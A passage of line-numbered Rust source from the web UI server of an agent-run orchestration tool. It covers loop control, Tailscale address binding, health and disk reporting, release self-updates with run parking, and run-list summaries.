1650 updater::talks_phrase(&seen),
1651 bound.as_secs()
1652 ),
1653 );
1654 return (seen, bound);
1655 }
1656 tokio::time::sleep(TALK_POLL).await;
1657 }
1658}
1659
1660const LEASE_BEAT: Duration = Duration::from_secs(20);
1663
1664async fn finish_loop(
1671 home: &FsPath,
1672 state: &Mutex<LoopState>,
1673 mut lease: Option<&mut updater::LeaseGuard>,
1674) {
1675 let live = lock_or_recover(state).live.take();
1676 let Some(live) = live else {
1677 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1678 return;
1679 };
1680 live.stop.stop();
1681 lock_or_recover(state).rev += 1;
1682 updater::log_step(
1683 home,
1684 "finish_loop: waiting for the loop to finish the run in flight",
1685 );
1686 let waited = std::time::Instant::now();
1687 let mut handle = live.handle;
1690 let mut beat = tokio::time::interval(LEASE_BEAT);
1691 loop {
1692 tokio::select! {
1693 _ = &mut handle => break,
1694 _ = beat.tick() => {
1695 if let Some(lease) = lease.as_deref_mut() {
1696 lease.beat();
1697 }
1698 }
1699 }
1700 }
1701 updater::log_step(
1702 home,
1703 &format!(
1704 "finish_loop: the loop ended after {:.1}s",
1705 waited.elapsed().as_secs_f32()
1706 ),
1707 );
1708}
1709
1710pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1716 match bind {
1717 Bind::Addr(addr) => (*addr, None),
1718 Bind::Auto => match tailscale_ip() {
1719 Ok(ip) => (IpAddr::V4(ip), None),
1720 Err(why) => (
1721 IpAddr::V4(Ipv4Addr::LOCALHOST),
1722 Some(format!(
1723 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1724 local-only and a phone cannot reach it; start Tailscale \
1725 or pass --bind <addr>"
1726 )),
1727 ),
1728 },
1729 }
1730}
1731
1732fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1740 let out = std::process::Command::new("tailscale")
1741 .args(["ip", "-4"])
1742 .quiet()
1743 .output()
1744 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1745 if !out.status.success() {
1746 let why = String::from_utf8_lossy(&out.stderr);
1747 let why = why.trim();
1748 return Err(format!(
1749 "`tailscale ip -4` failed ({}){}",
1750 out.status,
1751 if why.is_empty() {
1752 String::new()
1753 } else {
1754 format!(": {why}")
1755 }
1756 ));
1757 }
1758 String::from_utf8_lossy(&out.stdout)
1759 .lines()
1760 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1761 .find(is_tailnet)
1762 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1763}
1764
1765fn is_tailnet(ip: &Ipv4Addr) -> bool {
1767 let o = ip.octets();
1768 o[0] == 100 && (64..=127).contains(&o[1])
1769}
1770
1771type ApiResult<T> = std::result::Result<T, ApiError>;
1775
1776#[derive(Debug)]
1778struct ApiError {
1779 status: StatusCode,
1780 message: String,
1781 text_reason: Option<crate::question_delivery::UnavailableReason>,
1782}
1783
1784impl ApiError {
1785 fn bad_request(message: impl Into<String>) -> Self {
1787 Self {
1788 text_reason: None,
1789 status: StatusCode::BAD_REQUEST,
1790 message: message.into(),
1791 }
1792 }
1793
1794 fn not_found(message: impl Into<String>) -> Self {
1796 Self {
1797 text_reason: None,
1798 status: StatusCode::NOT_FOUND,
1799 message: message.into(),
1800 }
1801 }
1802
1803 fn with_status(mut self, status: StatusCode) -> Self {
1806 self.status = status;
1807 self
1808 }
1809
1810 fn bad_request_from(e: anyhow::Error) -> Self {
1814 Self::bad_request(format!("{e:#}"))
1815 }
1816
1817 fn conflict(message: impl Into<String>) -> Self {
1818 Self {
1819 text_reason: None,
1820 status: StatusCode::CONFLICT,
1821 message: message.into(),
1822 }
1823 }
1824
1825 fn internal(message: impl Into<String>) -> Self {
1827 Self {
1828 text_reason: None,
1829 status: StatusCode::INTERNAL_SERVER_ERROR,
1830 message: message.into(),
1831 }
1832 }
1833}
1834
1835impl From<anyhow::Error> for ApiError {
1836 fn from(e: anyhow::Error) -> Self {
1841 Self::internal(format!("{e:#}"))
1842 }
1843}
1844
1845impl IntoResponse for ApiError {
1846 fn into_response(self) -> Response {
1847 let mut body = serde_json::json!({ "error": self.message });
1848 if let Some(reason) = self.text_reason {
1849 body["code"] = serde_json::json!("question_text_unavailable");
1850 body["reason"] = serde_json::json!(reason);
1851 }
1852 (self.status, Json(body)).into_response()
1853 }
1854}
1855
1856async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1865where
1866 T: Send + 'static,
1867{
1868 #[cfg(test)]
1869 let job = request_cost::carry(job);
1870 match tokio::task::spawn_blocking(job).await {
1871 Ok(result) => result,
1872 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1873 }
1874}
1875
1876const ASSET_CACHE: &str = "no-cache, must-revalidate";
1894
1895fn asset_etag() -> &'static str {
1902 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1903 format!(
1904 "\"{}-{}\"",
1905 env!("CARGO_PKG_VERSION"),
1906 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1911 )
1912 });
1913 &TAG
1914}
1915
1916fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1918 [
1919 (header::CONTENT_TYPE, mime),
1920 (header::CACHE_CONTROL, ASSET_CACHE),
1921 (header::ETAG, asset_etag()),
1922 ]
1923}
1924
1925fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1933 let tag = asset_etag();
1934 let known = headers
1935 .get(header::IF_NONE_MATCH)
1936 .and_then(|v| v.to_str().ok())
1937 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1941 if known {
1942 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1943 }
1944 (asset_headers(mime), body).into_response()
1945}
1946
1947async fn index(headers: header::HeaderMap) -> Response {
1948 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1949}
1950
1951async fn app_css(headers: header::HeaderMap) -> Response {
1952 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1953}
1954
1955async fn app_js(headers: header::HeaderMap) -> Response {
1956 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1957}
1958
1959#[derive(Debug, Serialize)]
1961struct HealthView {
1962 version: &'static str,
1963 home: String,
1964 queue_rev: u64,
1965 runs_rev: u64,
1966 questions_rev: u64,
1978 talks_rev: u64,
1980 notifications_rev: u64,
1982 notifications_unread: usize,
1985 loop_rev: u64,
1990 runs_unreadable: usize,
1998 disk: DiskView,
2006 questions_open: usize,
2012 questions_needs_owner: usize,
2022 daemon: DaemonView,
2023 #[serde(rename = "loop")]
2029 looping: LoopView,
2030 update: UpdateView,
2037 upgrade: Option<UpgradeProgressView>,
2041 upgrade_request_error: Option<UpgradeRequestFailure>,
2042}
2043
2044#[derive(Debug, Serialize)]
2051struct UpdateView {
2052 available: bool,
2054 to: Option<String>,
2056}
2057
2058#[derive(Debug, Serialize)]
2060struct UpgradeProgressView {
2061 stage: updater::Stage,
2062 from: String,
2063 to: Option<String>,
2064 waiting_on: Option<String>,
2067 started_at: Timestamp,
2068 updated_at: Timestamp,
2069 detail: Option<String>,
2070 stuck_for_secs: Option<i64>,
2073 stuck_kind: Option<updater::StallKind>,
2076 handover_alive: bool,
2079}
2080
2081fn should_spawn_recheck(cfg: &Update) -> bool {
2088 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2089}
2090
2091fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2103 if progress.is_some_and(|p| !p.stage.terminal()) {
2104 return false;
2105 }
2106 checker.should_check()
2107}
2108
2109fn recheck_poll_period(cfg: &Update) -> Duration {
2122 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2123}
2124
2125async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2149 loop {
2150 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2151 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2152 if !should_spawn_recheck(&cfg.update) {
2153 continue;
2154 }
2155 let Some(checker) = updater::Checker::new(&cfg.update) else {
2156 continue;
2157 };
2158 let progress = updater::read_progress(&home);
2159 if !update_recheck_due(&checker, progress.as_ref()) {
2160 continue;
2161 }
2162 if let Err(e) = checker.newer_release().await {
2163 tracing::warn!("background update recheck failed: {e:#}");
2164 }
2165 }
2166}
2167
2168fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2174 let default;
2175 let cfg = match cfg {
2176 Some(cfg) => cfg,
2177 None => {
2178 default = Config::default();
2179 &default
2180 }
2181 };
2182 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2183 match latest {
2184 Some(latest) => UpdateView {
2185 available: true,
2186 to: Some(latest.tag_name),
2187 },
2188 None => UpdateView {
2189 available: false,
2190 to: None,
2191 },
2192 }
2193}
2194
2195fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2201 let now = Timestamp::now();
2202 let lease = updater::read_lease(&ui.home);
2203 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2204 let run_id = alive
2205 .and_then(|l| l.parked_run.as_deref())
2206 .or(progress.parked_run.as_deref());
2207 let parking = progress.stage == updater::Stage::Parking;
2208 let waited = alive.map_or_else(String::new, |l| {
2209 let secs = updater::waited_secs(l, now);
2210 format!(" (waited {} min so far)", secs / 60)
2211 });
2212 let run_text = run_id
2213 .filter(|_| parking)
2214 .map(|id| match read_run(&ui.runs, id).ok() {
2215 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2216 None => format!("run {id} is finishing"),
2217 });
2218 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2219 .filter(|t| parking && !t.is_empty())
2220 .map(|t| format!("{t} finishing"));
2221 let waiting_on = match (run_text, talks_text) {
2222 (None, None) => None,
2223 (run, talks) => {
2224 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2225 Some(format!(
2226 "{} before the address is handed over{waited}",
2227 parts.join(" and ")
2228 ))
2229 }
2230 };
2231 let detail = progress
2232 .detail
2233 .clone()
2234 .or_else(|| updater::read_note(&ui.home, &progress));
2235 let stalled = updater::stall(&progress, lease.as_ref(), now);
2236 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2237 UpgradeProgressView {
2238 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2239 stuck_kind: stalled.map(|s| s.kind),
2240 handover_alive: alive.is_some(),
2241 stage: progress.stage,
2242 from: progress.from,
2243 to: progress.to,
2244 waiting_on,
2245 started_at: progress.started_at,
2246 updated_at: progress.updated_at,
2247 detail,
2248 }
2249}
2250
2251#[derive(Debug, Serialize)]
2256struct DiskView {
2257 #[serde(skip_serializing_if = "Option::is_none")]
2259 free_bytes: Option<u64>,
2260 runs_bytes: u64,
2262 worktrees_bytes: u64,
2264 #[serde(skip_serializing_if = "Option::is_none")]
2266 cache_bytes: Option<u64>,
2267}
2268
2269impl DiskView {
2270 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2272 let cache_bytes = cfg
2273 .and_then(|cfg| cfg.cache_dir())
2274 .map(|dir| crate::disk::dir_size(&dir));
2275 Self {
2276 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2277 runs_bytes: crate::disk::dir_size(&ui.runs),
2278 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2279 cache_bytes,
2280 }
2281 }
2282}
2283
2284#[derive(Debug, Serialize)]
2286struct DaemonView {
2287 running: bool,
2288 idle: Option<bool>,
2289 pid: Option<u32>,
2290 current: Vec<daemon::Current>,
2294 completed: Option<u64>,
2295 stale_for_secs: Option<i64>,
2296}
2297
2298impl DaemonView {
2299 fn of(status: Option<daemon::Reading>) -> Self {
2303 let Some(status) = status else {
2304 return Self {
2305 running: false,
2306 idle: None,
2307 pid: None,
2308 current: Vec::new(),
2309 completed: None,
2310 stale_for_secs: None,
2311 };
2312 };
2313 let now = Timestamp::now();
2314 let age = status.age_secs(now);
2315 Self {
2316 running: status.running(now),
2317 idle: Some(status.idle),
2318 pid: status.pid,
2319 current: status.current,
2320 completed: Some(status.completed),
2321 stale_for_secs: age,
2322 }
2323 }
2324}
2325
2326async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2327 blocking(move || {
2328 let reading = daemon::read_status(&ui.home);
2332 let loop_rev = ui.lock_loop().rev;
2336 let cfg = deputy_config(&ui.repo);
2339 let update = cached_update_view(cfg.as_ref());
2340 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2341 Ok(Json(HealthView {
2342 version: env!("CARGO_PKG_VERSION"),
2343 home: ui.home.display().to_string(),
2344 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2345 runs_rev: runs_revision(&ui.runs),
2346 questions_rev: ui.questions.revision(),
2347 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2348 notifications_rev: ui.notices.revision(),
2349 notifications_unread: ui.notices.count_unread(),
2350 loop_rev,
2351 runs_unreadable: runs_unreadable(&ui.runs),
2352 questions_open: ui.questions.count_open(),
2353 questions_needs_owner: ui.questions.count_needs_owner(),
2354 daemon: DaemonView::of(reading.clone()),
2355 looping: ui.loop_view(reading),
2356 disk: DiskView::of(&ui, cfg.as_ref()),
2357 update,
2358 upgrade,
2359 upgrade_request_error: ui
2360 .upgrade_request_error
2361 .lock()
2362 .unwrap_or_else(PoisonError::into_inner)
2363 .clone(),
2364 }))
2365 })
2366 .await
2367}
2368
2369#[derive(Debug, Serialize)]
2371struct LoopView {
2372 running: bool,
2374 stopping: bool,
2382 parking: bool,
2390 owned: bool,
2398 repo: String,
2401 merge: Option<String>,
2404 last_error: Option<String>,
2412 daemon: DaemonView,
2415}
2416
2417#[derive(Debug, Clone, Copy)]
2426struct Foreign {
2427 pid: Option<u32>,
2429}
2430
2431impl Foreign {
2432 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2435 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2439 }
2440
2441 fn who(&self) -> String {
2444 match self.pid {
2445 Some(pid) => format!("another magi process (pid {pid})"),
2446 None => "another magi process".to_owned(),
2447 }
2448 }
2449}
2450
2451type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2456
2457fn launch_daemon(
2459 opts: daemon::Opts,
2460 stop: daemon::Stop,
2461) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2462 Box::pin(daemon::serve_until(opts, stop))
2463}
2464
2465#[derive(Debug, Default)]
2467struct LoopState {
2468 live: Option<Live>,
2470 rev: u64,
2478 last_error: Option<String>,
2481 resume_after_handover: bool,
2486}
2487
2488#[derive(Debug)]
2490struct Live {
2491 stop: daemon::Stop,
2493 handle: tokio::task::JoinHandle<()>,
2498 opts: daemon::Opts,
2502}
2503
2504impl Live {
2505 fn alive(&self) -> bool {
2507 !self.handle.is_finished()
2508 }
2509}
2510
2511fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2518 state.lock().unwrap_or_else(PoisonError::into_inner)
2519}
2520
2521async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2523 blocking(move || {
2524 let reading = daemon::read_status(&ui.home);
2525 Ok(Json(ui.loop_view(reading)))
2526 })
2527 .await
2528}
2529
2530#[derive(Debug, Deserialize)]
2536#[serde(deny_unknown_fields)]
2537struct LoopCommand {
2538 running: bool,
2539 #[serde(default)]
2549 park: bool,
2550}
2551
2552async fn loop_post(
2560 State(ui): State<Arc<Ui>>,
2561 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2562) -> ApiResult<Json<LoopView>> {
2563 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2566 blocking(move || {
2567 let reading = daemon::read_status(&ui.home);
2568 let foreign = Foreign::of(reading.as_ref());
2569 if body.running {
2570 ui.start_loop(foreign)?;
2571 } else {
2572 ui.stop_loop(foreign, body.park)?;
2573 }
2574 Ok(Json(ui.loop_view(reading)))
2575 })
2576 .await
2577}
2578
2579#[derive(Debug, Serialize)]
2581struct UpgradeView {
2582 from: String,
2584 to: Option<String>,
2586 parked: Option<String>,
2588 detail: String,
2590}
2591
2592fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2595 progress.filter(|p| !p.stage.terminal())
2596}
2597
2598fn upgrade_retry_after(message: &str) -> Option<u64> {
2601 if !message.contains("GitHub") || !message.contains("rate limit") {
2602 return None;
2603 }
2604 if message.contains("retry now") {
2605 return Some(0);
2606 }
2607 let duration = message
2608 .split_once("resets in ")
2609 .or_else(|| message.split_once("retry after "))?
2610 .1
2611 .split_once(')')?
2612 .0;
2613 let mut rest = duration.trim();
2614 if rest.is_empty() {
2615 return None;
2616 }
2617 let mut total = 0u64;
2618 while !rest.is_empty() {
2619 let n = rest.find(|c: char| !c.is_ascii_digit())?;
2620 let amount: u64 = rest[..n].parse().ok()?;
2621 let scale = match rest[n..].chars().next()? {
2622 's' => 1,
2623 'm' => 60,
2624 'h' => 3600,
2625 'd' => 86400,
2626 _ => return None,
2627 };
2628 total = total.checked_add(amount.checked_mul(scale)?)?;
2629 rest = rest[n + 1..].trim_start();
2630 }
2631 Some(total)
2632}
2633
2634#[derive(Debug, Clone, Serialize)]
2635struct UpgradeRequestFailure {
2636 occurred_at: String,
2637 error: String,
2638 retry_after_secs: Option<u64>,
2639 retry_at: Option<u64>,
2641}
2642
2643impl UpgradeRequestFailure {
2644 fn new(error: String) -> Self {
2645 let retry_after_secs = upgrade_retry_after(&error);
2646 let now = std::time::SystemTime::now()
2647 .duration_since(std::time::UNIX_EPOCH)
2648 .unwrap_or_default()
2649 .as_secs();
2650 Self {
2651 occurred_at: jiff::Timestamp::now().to_string(),
2652 error,
2653 retry_after_secs,
2654 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2655 }
2656 }
2657}
2658
2659async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2683 let reading = daemon::read_status(&ui.home);
2684 if let Some(other) = Foreign::of(reading.as_ref()) {
2685 return ApiError::conflict(format!(
2686 "the loop belongs to {}, so replacing this binary would leave \
2687 that process running an old one against the same queue. Upgrade \
2688 where it was started.",
2689 other.who()
2690 ))
2691 .into_response();
2692 }
2693
2694 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2699 return ApiError::conflict("another request is already preparing an upgrade")
2700 .into_response();
2701 };
2702 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2705}
2706
2707fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2708 match result {
2709 Ok(out) => {
2710 *ui.upgrade_request_error
2711 .lock()
2712 .unwrap_or_else(PoisonError::into_inner) = None;
2713 out.into_response()
2714 }
2715 Err(error) if error.status != StatusCode::CONFLICT => {
2716 let failure = UpgradeRequestFailure::new(error.message);
2717 *ui.upgrade_request_error
2718 .lock()
2719 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2720 let mut response = (error.status, Json(&failure)).into_response();
2721 if let Some(value) = failure
2722 .retry_after_secs
2723 .and_then(|secs| secs.to_string().parse().ok())
2724 {
2725 response.headers_mut().insert("retry-after", value);
2726 }
2727 response
2728 }
2729 Err(error) => error.into_response(),
2730 }
2731}
2732
2733async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2734 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2735 return Err(ApiError::conflict(
2736 "an upgrade is already in progress (this process started one and it \
2737 has not finished or failed yet)",
2738 ));
2739 }
2740 let recorded = updater::read_progress(&ui.home);
2741 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2742 return Err(ApiError::conflict(format!(
2743 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2744 stays stuck, restart the deck; on start it settles a stale record.",
2745 p.stage.as_str(),
2746 p.from,
2747 p.to.as_deref().unwrap_or("?"),
2748 )));
2749 }
2750
2751 if crate::updater::disabled_by_env() {
2757 return Ok((
2758 StatusCode::OK,
2759 Json(UpgradeView {
2760 from: env!("CARGO_PKG_VERSION").to_owned(),
2761 to: None,
2762 parked: None,
2763 detail: format!(
2764 "Automatic updates are disabled by {}. Nothing was parked \
2765 and nothing restarted.",
2766 crate::updater::NO_AUTOUPDATE_ENV
2767 ),
2768 }),
2769 ));
2770 }
2771
2772 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2777 let from = env!("CARGO_PKG_VERSION").to_owned();
2778 let latest = match crate::updater::Checker::new(&cfg.update) {
2779 Some(checker) => checker.newer_release().await,
2780 None => Ok(None),
2781 };
2782 upgrade_checked(ui, from, latest)
2783}
2784
2785fn upgrade_checked(
2786 ui: &Arc<Ui>,
2787 from: String,
2788 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2789) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2790 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2791 let Some(latest) = latest else {
2792 return Ok((
2793 StatusCode::OK,
2794 Json(UpgradeView {
2795 from,
2796 to: None,
2797 parked: None,
2798 detail: "Already on the newest release. Nothing was parked \
2799 and nothing restarted."
2800 .to_owned(),
2801 }),
2802 ));
2803 };
2804
2805 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2808 let detail = match &parked {
2809 Some(run) => format!(
2814 "Run {} is parking at its next step, which can take as long as \
2815 the step it is on - up to an hour for an implement wave. The \
2816 deck replaces itself once it parks, comes back, and the loop \
2817 carries that run on from where it stopped. Nothing is lost if \
2818 you close this.",
2819 crate::run::short_of(run)
2820 ),
2821 None => "The deck replaces itself and comes back. Nothing was in \
2822 flight to park."
2823 .to_owned(),
2824 };
2825
2826 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2830 progress.parked_run = parked.clone();
2831 updater::write_progress_logged(&ui.home, &progress);
2835
2836 let home = ui.home.clone();
2837 let looping = ui.looping();
2838 ui.upgrade_spawned
2839 .store(true, std::sync::atomic::Ordering::SeqCst);
2840 let spawned = Arc::clone(&ui.upgrade_spawned);
2841 tokio::spawn(async move {
2842 if let Err(e) = upgrade_and_restart(home.clone()).await {
2843 tracing::error!("the upgrade did not complete: {e:#}");
2844 lock_or_recover(&looping).resume_after_handover = false;
2845 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2849 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2852 }
2853 });
2854
2855 Ok((
2856 StatusCode::ACCEPTED,
2857 Json(UpgradeView {
2858 from,
2859 to: Some(latest.tag_name),
2860 parked,
2861 detail,
2862 }),
2863 ))
2864}
2865
2866async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2871 crate::updater::run_self_update(true, false, true).await?;
2874 updater::log_step(&home, "binary replaced - recording the replaced stage");
2875 if let Some(mut progress) = updater::read_progress(&home) {
2876 progress.advance(updater::Stage::Replaced);
2877 updater::write_progress_logged(&home, &progress);
2878 }
2879 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2880 HANDOVER.notify_one();
2881 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2882 Ok(())
2883}
2884
2885#[derive(Debug, Serialize)]
2891struct RunSummary {
2892 id: String,
2893 short: String,
2894 status: String,
2895 done: bool,
2896 instruction: String,
2897 title: String,
2898 repo: String,
2899 repo_name: String,
2900 created_at: String,
2901 updated_at: String,
2902 candidates: usize,
2903 viable: usize,
2904 judges: usize,
2905 winner: Option<char>,
2906 reviews: usize,
2907 quota_losses: usize,
2908 event: Option<String>,
2909 superseded_by: Option<String>,
2914 waiting: bool,
2921 live: crate::run::Liveness,
2925 pr: Option<crate::run::PrRecord>,
2927 unmerged_by_design: bool,
2933 #[serde(default)]
2936 display_status: String,
2937 #[serde(default)]
2940 badge_status: String,
2941 origin_label: String,
2944}
2945
2946impl RunSummary {
2947 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2948 Self {
2949 id: state.id.clone(),
2950 short: state.short().to_owned(),
2951 status: status_word(state.status),
2952 done: state.status.done(),
2953 unmerged_by_design: state.unmerged_by_design(),
2954 display_status: run_display_status(state, waiting, live),
2955 badge_status: run_display_status(state, waiting, live),
2956 instruction: state.instruction.clone(),
2957 title: title_from(&state.instruction, TITLE_MAX),
2958 repo: state.repo.display().to_string(),
2959 repo_name: state
2960 .repo
2961 .file_name()
2962 .map(|n| n.to_string_lossy().into_owned())
2963 .unwrap_or_default(),
2964 created_at: state.created_at.to_string(),
2965 updated_at: state.updated_at.to_string(),
2966 candidates: state.candidates.len(),
2967 viable: state.viable().len(),
2968 judges: state.config.graph.judges,
2969 winner: state.winner().map(|c| c.label),
2970 reviews: state.reviews.len(),
2971 quota_losses: state.quota.len(),
2972 event: state.events.last().map(|e| e.message.clone()),
2973 waiting,
2974 live,
2975 superseded_by: None,
2978 pr: state.pr.clone(),
2979 origin_label: crate::run::origin_label(state.origin.as_ref()),
2980 }
2981 }
2982}
2983
2984fn status_word(status: RunStatus) -> String {
2987 status.as_str().to_owned()
2991}
2992
2993fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2999 if waiting {
3000 return "waiting".to_owned();
3001 }
3002 if state.unmerged_by_design() {
3003 return "unmerged".to_owned();
3004 }
3005 if !state.status.done() && live == crate::run::Liveness::Dead {
3006 if state.parked {
3009 return "parked".to_owned();
3010 }
3011 return "stale".to_owned();
3012 }
3013 status_word(state.status)
3014}
3015
3016fn run_badge_status(
3024 state: &RunState,
3025 display_status: &str,
3026 live: crate::run::Liveness,
3027 superseded: bool,
3028) -> String {
3029 if state.status.done() || live == crate::run::Liveness::Live {
3030 return display_status.to_owned();
3031 }
3032 if superseded {
3033 return "superseded".to_owned();
3034 }
3035 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3039 return "stale".to_owned();
3040 }
3041 display_status.to_owned()
3042}
3043
3044#[derive(Debug, Deserialize)]
3046struct ListQuery {
3047 #[serde(default)]
3048 limit: Option<usize>,
3049 ids: Option<String>,
3051}
3052
3053impl ListQuery {
3054 fn contains(&self, id: &str) -> bool {
3055 self.ids
3056 .as_ref()
3057 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3058 }
3059}
3060
3061async fn runs_list(
3062 State(ui): State<Arc<Ui>>,
3063 Query(q): Query<ListQuery>,
3064) -> ApiResult<Json<Vec<RunSummary>>> {
3065 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3066 blocking(move || {
3067 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3068 let states = run_ids(&ui.runs)
3069 .into_iter()
3070 .filter_map(|id| read_run(&ui.runs, &id).ok())
3075 .take(limit)
3076 .filter(|run| q.contains(&run.id));
3077 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3078 let summaries = summarize(
3079 states,
3080 &open_runs,
3081 &claimed,
3082 &superseded,
3083 |p| probe.borrow_mut().status(p),
3084 |p| probe.borrow_mut().started_at(p),
3085 );
3086 Ok(Json(summaries))
3087 })
3088 .await
3089}
3090
3091fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3096 let open_runs: HashSet<String> = ui
3097 .questions
3098 .list()
3099 .into_iter()
3100 .filter(|q| q.status.open())
3101 .map(|q| q.run)
3102 .collect();
3103 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3104 .into_iter()
3105 .map(|c| c.run)
3106 .collect();
3107 (open_runs, claimed, ui.queue.superseded())
3108}
3109
3110fn summarize<I, S, D>(
3116 states: I,
3117 open_runs: &HashSet<String>,
3118 claimed: &HashSet<String>,
3119 superseded: &HashMap<String, String>,
3120 mut status_q: S,
3121 mut identity_q: D,
3122) -> Vec<RunSummary>
3123where
3124 I: IntoIterator<Item = RunState>,
3125 S: FnMut(u32) -> Option<bool>,
3126 D: FnMut(u32) -> Option<String>,
3127{
3128 states
3129 .into_iter()
3130 .map(|state| {
3131 let waiting = open_runs.contains(&state.id);
3132 let live =
3133 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3134 let mut row = RunSummary::of(&state, waiting, live);
3135 row.superseded_by = state
3136 .pr_taken_over_by
3137 .as_ref()
3138 .or_else(|| superseded.get(&state.id))
3139 .map(String::as_str)
3140 .map(crate::run::short_of)
3141 .map(str::to_owned);
3142 row.badge_status = run_badge_status(
3143 &state,
3144 &row.display_status,
3145 live,
3146 row.superseded_by.is_some(),
3147 );
3148 row
3149 })
3150 .collect()
3151}
3152
3153#[derive(Debug, Serialize)]
3160struct RunDetailView {
3161 stop_reason: Option<String>,
3162 #[serde(flatten)]
3163 state: RunState,
3164 instruction_md: Vec<md::Node>,
3165 #[serde(flatten)]
3169 prose_md: RunProseMd,
3170 live: crate::run::Liveness,
3185 unmerged_by_design: bool,
3190 #[serde(default)]
3192 waiting: bool,
3193 #[serde(default)]
3195 display_status: String,
3196 #[serde(default)]
3198 badge_status: String,
3199 done: bool,
3204 superseded_by: Option<String>,
3212 latest_attempt: Option<LatestAttempt>,
3226 task: Option<TaskRef>,
3229 origin_label: String,
3233 pass_views: Vec<PassView>,
3236}
3237
3238#[derive(Debug, Serialize)]
3240struct TaskRef {
3241 id: String,
3242 short: String,
3243 title: String,
3244 source_label: String,
3246 source_link: Option<SourceLink>,
3248 status: &'static str,
3250 attempts: usize,
3251 max_attempts: usize,
3252 is_latest: bool,
